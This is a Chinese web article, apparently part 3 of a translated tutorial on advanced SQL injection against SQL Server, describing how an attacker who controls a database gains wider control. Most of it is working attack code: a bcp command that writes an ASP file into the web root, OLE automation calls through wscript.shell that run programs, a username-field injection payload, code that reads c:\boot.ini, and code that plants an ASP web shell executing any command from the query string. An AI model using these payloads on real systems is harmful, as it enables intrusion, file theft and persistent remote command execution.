科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道SQL Server应用程序高级SQL注入(下)(3)

SQL Server应用程序高级SQL注入(下)(3)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:

作者:gaoyuanan 来源:赛迪网技术社区 2007年9月7日

关键字: 注入 数据库 SQL Server SQL Server 各版本

  • 评论
  • 分享微博
  • 分享邮件
 

[使用bcp建立文本文件]

使用''bulk insert''的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。''bcp'',即''bulk copy program'' 既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。

命令行格式如下:

bcp "select * from text..foo" queryout 
c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar

''S''参数为执行查询的服务器,''U''参数为用户名,''P''参数为密码,这里为''foobar''

[ActiveX automation scripts in SQL SERVER]

SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:

(1)这个例子使用''wscript.shell''对象建立了一个记事本的实例: 以下为引用的内容:

wscript.shell example 
declare @o int 
exec sp_oacreate ''wscript.shell'',@o out 
exec sp_oamethod @o,''run'',NULL,''notepad.exe''

我们可以通过指定在用户名后面来执行它:

Username:''; declare @o int exec sp_oacreate ''
wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''—

(2)这个例子使用''scripting.filesystemobject''对象读一个已知的文本文件: 以下为引用的内容:

--scripting.filesystemobject example – read a known file 
declare @o int, @f int, @t int, @ret int 
declare @line varchar(8000) 
exec sp_oacreate ''scripting.filesystemobject'', @o out 
exec sp_oamethod @o, ''opentextfile'', @f out, ''c:\boot.ini'', 1 
exec @ret=sp_oamethod @f,''readline'',@line out 
while(@ret=0) 
begin 
print @line 
exec @ret=sp_oamethod @f,''readline'',@line out 
end

(3)这个例子创建了一个能执行通过提交到的任何命令:

-- scripting.filesystemobject example – create a ''run this''.asp file 
declare @o int,@f int,@t int,@ret int 
exec sp_oacreate ''scripting.filesystemobject'',@o out 
exec sp_oamethod @o,''createtextfile'',@f out,''
c:\inetpub\wwwroot\foo.asp'',1 
exec @ret=sp_oamethod @f,''writeline'',
NULL,''<% set o=server.createobject("wscript.shell"):o.run
(request.querystring("cmd")) %>''
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章